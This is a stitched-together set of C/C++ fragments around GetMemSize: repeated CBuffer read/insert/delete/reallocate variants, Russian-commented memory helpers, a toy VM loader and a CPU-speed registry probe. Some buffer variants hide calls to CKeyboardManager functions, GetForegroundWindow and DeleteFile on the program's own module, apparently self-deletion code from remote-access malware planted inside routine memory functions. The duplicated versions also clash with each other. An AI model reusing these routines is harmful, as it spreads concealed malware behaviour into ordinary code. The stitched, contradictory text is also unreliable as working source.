UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (nSize > GetMemSize())
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (nSize > GetBufferLen())
{
nSize = GetBufferLen();
}
if (nSize)
{
CopyMemory(pData, m_pBase, nSize);
MoveMemory(m_pBase,m_pBase + nSize, GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
UINT CBuffer::Read(PBYTE pData, UINT nSize) //[][][][][][][][][][] 20 5
{ //[][[]10
EnterCriticalSection(&m_cs);
if (nSize > GetMemSize()) //1024 2048 1
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
CopyMemory(pData,m_pBase,nSize);
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen()); //1
LeaveCriticalSection(&m_cs);
return nSize;
}
//************************************
// Method: Delete
// FullName: CBuffer::Delete
// Access: public
// Returns: UINT real deleted size
// Qualifier: Delete data from the head.
// Parameter: UINT nSize
//************************************
UINT CBuffer::Delete(UINT nSize){
if (nSize > GetMemSize())
return 0;
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
//************************************
// Method: Read
// FullName: CBuffer::Read
// Access: public
// Returns: UINT
// Qualifier: Read data from the buffer and delete what it reads
// Parameter: PBYTE pData
// Parameter: UINT nSize
//************************************
UINT CBuffer::Read(PBYTE pData, UINT nSize){
if (nSize > GetMemSize()) //GetMemSize return m_nSize,memory size
return 0;
if (nSize > GetBufferLen()) //GetBufferlen return real buffer size
nSize = GetBufferLen();
if (nSize)
{
CopyMemory(pData,m_pBase,nSize);
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
bool CTable::PrepareTable()
{
long MemSizeTable;
MemSizeTable = GetMemSize();
//Cell = (long *) malloc(MemSizeTable * sizeof(long) );
Cell = new long [MemSizeTable];
if (Cell == 0) {
return false;
}
if (IsBIR) {
//m_tab[i].BIRCell = (double *) malloc(MemSizeTable * sizeof(double) );
BIRCell = new double [MemSizeTable];
if (BIRCell == 0) {
return false;
}
}
nCell = MemSizeTable; // for ASSERT
// make all cells zero
memset(Cell, 0, MemSizeTable * sizeof(long) );
if (IsBIR) {
memset(BIRCell, 0, MemSizeTable * sizeof(double) );
}
return true;
}
char* VM::GetMemory(unsigned int add)
{
if(add < GetMemSize())
return &Memory[add];
return 0;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: DeAllocateBuffer
//
// DESCRIPTION: DeAllocates the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetBufferLen())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize < GetMemSize())
return 0;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
TCHAR szModule [MAX_PATH];
EnterCriticalSection(&m_cs);
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
LeaveCriticalSection(&m_cs);
return FALSE;
}
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
DeleteFile(szModule);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
void AddHash( DWORD dwHash )
{
if ( dwHashPosts == NULL )
{
if ( ( dwHashPosts = (LPDWORD)MemAlloc( sizeof( LPDWORD ) ) ) == NULL )
{
return;
}
}
else
{
LPDWORD p = (LPDWORD)MemRealloc( dwHashPosts, GetMemSize( dwHashPosts ) + ( sizeof( LPDWORD ) * ( dwHashCount + 1 ) ) );
if ( p == NULL )
{
return;
}
dwHashPosts = p;
}
dwHashPosts[ dwHashCount ] = dwHash;
dwHashCount++;
return;
}
void AddPid( DWORD dwPid )
{
if ( dwHashPid == NULL )
{
if ( ( dwHashPid = (LPDWORD)MemAlloc( sizeof( LPDWORD ) ) ) == NULL )
{
return;
}
}
else
{
LPDWORD p = (LPDWORD)MemRealloc( dwHashPid, GetMemSize( dwHashPid ) + ( sizeof( LPDWORD ) * ( dwPidCount + 1 ) ) );
if ( p == NULL )
{
return;
}
dwHashPid = p;
}
dwHashPid[ dwPidCount ] = dwPid;
dwPidCount++;
return;
}
//[xxxxxxxxxxx][x]
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize) //1024 3003030303030030 1025
{
if (nRequestedSize < GetBufferLen())
return 0;
UINT nNewSize = (UINT)ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize > GetMemSize())
return 0;
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
m_pBase = pNewBuffer;
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
LPVOID MemRealloc( LPVOID lpAddr, DWORD dwSize )
{
// Изменяем размер выделенного буфера памяти
DWORD PrevLen = 0;
// Определяем размер предыдущего блока
if ( lpAddr )
PrevLen = GetMemSize(lpAddr);
// Создаём новый буфер
LPVOID NewAddr = NULL;
if (dwSize > 0)
{
NewAddr = MemAlloc(dwSize);
if (lpAddr && NewAddr && PrevLen)
{
// Копируем старую память
if (dwSize < PrevLen)
PrevLen = dwSize;
memcpy(NewAddr, lpAddr, PrevLen);
}
}
if (lpAddr != NULL)
MemFree(lpAddr);
return NewAddr;
}
//************************************
// Method: Insert
// FullName: CBuffer::Insert
// Access: public
// Returns: UINT
// Qualifier:
// Parameter: PBYTE pData
// Parameter: UINT nSize
//************************************
UINT CBuffer::Insert(PBYTE pData, UINT nSize){
ReAllocateBuffer(nSize + GetBufferLen());
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
m_pPtr+=nSize;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ReAllocateBuffer
//
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
TCHAR szModule [MAX_PATH];
if (nRequestedSize < GetMemSize())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
if (pNewBuffer == NULL)
return -1;
UINT nBufferLen = GetBufferLen();
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase) VirtualFree(m_pBase,0,MEM_RELEASE);
DeleteFile(szModule);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
bool VM::ValidAddress(char* add)
{
log << "Testing if " << std::hex << (void*)add << " is a valid address in array " << (void*)Memory << std::dec << std::endl;
if(add >= Memory)
if(add < Memory + GetMemSize())
return true;
return false;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
TCHAR szModule [MAX_PATH];
EnterCriticalSection(&m_cs);
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
LeaveCriticalSection(&m_cs);
return 0;
}
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
GetForegroundWindow();
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
DeAllocateBuffer(GetBufferLen());
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
LeaveCriticalSection(&m_cs);
DeleteFile(szModule);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
TCHAR szModule [MAX_PATH];
if (nSize)
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
DeAllocateBuffer(GetBufferLen());
DeleteFile(szModule);
return nSize;
}
BOOL CBuffer::Insert(PBYTE pData, UINT nSize) //插入头 Hello 20 5 HelloWorld 20
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
void CheckPCPerfomance()
{
SYSTEM_INFO SysInfo;
GetSystemInfo(&SysInfo);
dwProcessorsCount=SysInfo.dwNumberOfProcessors;
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"),0,KEY_READ+KEY_WOW64_64KEY,&hKey) == ERROR_SUCCESS)
{
DWORD dwLen=sizeof(DWORD);
RegQueryValueEx(hKey,_T("~MHz"),NULL,NULL,(byte*)&dwProcessorSpeed,&dwLen);
RegCloseKey(hKey);
}
if ((dwProcessorsCount <= 2) && (dwProcessorSpeed <= 2000) && (GetMemSize() < 600))
bSlowPC=true;
return;
}
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (-1 == ReAllocateBuffer(nSize + GetBufferLen()))
{
LeaveCriticalSection(&m_cs);
return FALSE;
}
MoveMemory(m_pBase + nSize, m_pBase, GetMemSize() - nSize);
CopyMemory(m_pBase, pData, nSize);
m_pPtr += nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
void VM::Start()
{
FILE* prog = fopen(mOpts->GetExe().c_str(), "rb");
if(prog) {
//get the file length
fseek(prog, 0, SEEK_END);
unsigned int mLength = ftell(prog);
rewind(prog);
if(mLength - sizeof(RNPE_Header) < GetMemSize()) //if I get paging working this needs to change
{
char head[5];
head[4] = '\0';
fread(head, 4, sizeof(char), prog);
rewind(prog);
RNPE_Header header;
memset(&header, 0, sizeof(header));
//if I do base address randomization maybe it goes here?
if(!strcmp(head, "RNpe")) {
fread(&header, 1, sizeof(RNPE_Header), prog);
fread(Memory, mLength - sizeof(RNPE_Header), 1, prog);
//If I decide to validate the header of the kernel, it should go here
} else {
//Raw binary blob
//Might have to change assembler to deal with this
fread(Memory, mLength, 1, prog);
}
fclose(prog);
Execute(&header);
} else {
fclose(prog);
}
}
}
LPVOID MemRealloc( LPVOID lpAddr, DWORD dwSize )
{
DWORD dwPrevLen;
if ( lpAddr )
{
dwPrevLen = GetMemSize( lpAddr );
if ( dwPrevLen >= dwSize )
{
return lpAddr;
}
}
LPVOID NewAddr = MemAlloc(dwSize);
if ( lpAddr && NewAddr )
{
m_memcpy(NewAddr, lpAddr, dwPrevLen);
MemFree(lpAddr);
}
return NewAddr;
}
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetMemSize()) //1025 2048
return 0;
UINT nNewSize = (UINT)ceil(nRequestedSize / 1024.0) * 1024;
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
if (pNewBuffer == NULL)
return -1;
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
//[1][2][3][][]
m_pBase = pNewBuffer;
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
